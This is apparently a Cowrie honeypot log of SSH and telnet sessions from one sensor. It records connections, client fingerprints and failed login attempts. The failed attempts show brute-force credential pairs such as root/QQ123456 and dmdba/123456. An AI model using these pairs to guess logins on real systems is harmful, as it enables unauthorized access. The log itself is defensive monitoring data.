{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:25.823892Z","src_ip":"45.156.87.254","session":"2d346eb276fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:25.827647Z","src_ip":"45.156.87.254","session":"2d346eb276fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:26.265552Z","src_ip":"45.156.87.254","session":"2d346eb276fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:27.348612Z","src_ip":"45.156.87.254","session":"2d346eb276fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60878,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c45026da10d","protocol":"telnet","message":"New connection: 20.123.41.163:60878 (10.17.0.5:23) [session: 3c45026da10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:30.024963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53252,"dst_ip":"159.203.135.109","dst_port":22,"session":"37625cc0f28b","protocol":"ssh","message":"New connection: 45.156.87.254:53252 (159.203.135.109:22) [session: 37625cc0f28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:31.203024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:31.211453Z","src_ip":"45.156.87.254","session":"37625cc0f28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:31.297450Z","src_ip":"45.156.87.254","session":"37625cc0f28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:31.554088Z","src_ip":"45.156.87.254","session":"37625cc0f28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:32.642035Z","src_ip":"45.156.87.254","session":"37625cc0f28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.449594736099243,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:34.474404Z","src_ip":"20.123.41.163","session":"3c45026da10d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c6d119d3d7","protocol":"ssh","message":"New connection: 45.156.87.254:53262 (159.203.135.109:22) [session: f5c6d119d3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:36.129031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:36.132427Z","src_ip":"45.156.87.254","session":"f5c6d119d3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:36.223147Z","src_ip":"45.156.87.254","session":"f5c6d119d3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:36.475468Z","src_ip":"45.156.87.254","session":"f5c6d119d3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:37.562333Z","src_ip":"45.156.87.254","session":"f5c6d119d3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55144,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73e31dd47e7","protocol":"ssh","message":"New connection: 45.156.87.254:55144 (159.203.135.109:22) [session: f73e31dd47e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:41.097641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:41.102157Z","src_ip":"45.156.87.254","session":"f73e31dd47e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:41.185085Z","src_ip":"45.156.87.254","session":"f73e31dd47e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:41.434573Z","src_ip":"45.156.87.254","session":"f73e31dd47e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:42.520044Z","src_ip":"45.156.87.254","session":"f73e31dd47e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"261fc623e8bd","protocol":"ssh","message":"New connection: 45.156.87.254:55146 (159.203.135.109:22) [session: 261fc623e8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:45.918856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:45.923745Z","src_ip":"45.156.87.254","session":"261fc623e8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:46.007434Z","src_ip":"45.156.87.254","session":"261fc623e8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:46.397225Z","src_ip":"45.156.87.254","session":"261fc623e8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:47.481975Z","src_ip":"45.156.87.254","session":"261fc623e8bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":50378,"dst_ip":"10.17.0.5","dst_port":22,"session":"758e2d59e906","protocol":"ssh","message":"New connection: 186.30.115.187:50378 (10.17.0.5:22) [session: 758e2d59e906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:50.237524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:50.242474Z","src_ip":"186.30.115.187","session":"758e2d59e906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:50.337678Z","src_ip":"186.30.115.187","session":"758e2d59e906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"222","message":"login attempt [admin/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:50.753394Z","src_ip":"186.30.115.187","session":"758e2d59e906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56750,"dst_ip":"159.203.135.109","dst_port":22,"session":"195767ec31ce","protocol":"ssh","message":"New connection: 45.156.87.254:56750 (159.203.135.109:22) [session: 195767ec31ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:51.048002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:51.052945Z","src_ip":"45.156.87.254","session":"195767ec31ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:51.135871Z","src_ip":"45.156.87.254","session":"195767ec31ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:51.407003Z","src_ip":"45.156.87.254","session":"195767ec31ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:51.849327Z","src_ip":"186.30.115.187","session":"758e2d59e906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:52.495989Z","src_ip":"45.156.87.254","session":"195767ec31ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":48846,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ba1f01227b3","protocol":"ssh","message":"New connection: 185.16.214.226:48846 (10.17.0.5:22) [session: 7ba1f01227b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:53.508282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:53.513339Z","src_ip":"185.16.214.226","session":"7ba1f01227b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":32996,"dst_ip":"10.17.0.5","dst_port":23,"session":"50cb99052176","protocol":"telnet","message":"New connection: 20.123.41.163:32996 (10.17.0.5:23) [session: 50cb99052176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:53.637323Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:53.644423Z","src_ip":"185.16.214.226","session":"7ba1f01227b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:54.174804Z","src_ip":"185.16.214.226","session":"7ba1f01227b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:55.303553Z","src_ip":"185.16.214.226","session":"7ba1f01227b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56754,"dst_ip":"159.203.135.109","dst_port":22,"session":"700fd25d3387","protocol":"ssh","message":"New connection: 45.156.87.254:56754 (159.203.135.109:22) [session: 700fd25d3387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:56.164654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:56.169108Z","src_ip":"45.156.87.254","session":"700fd25d3387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.5361390113830566,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:57:56.173346Z","src_ip":"20.123.41.163","session":"50cb99052176","protocol":"telnet"}
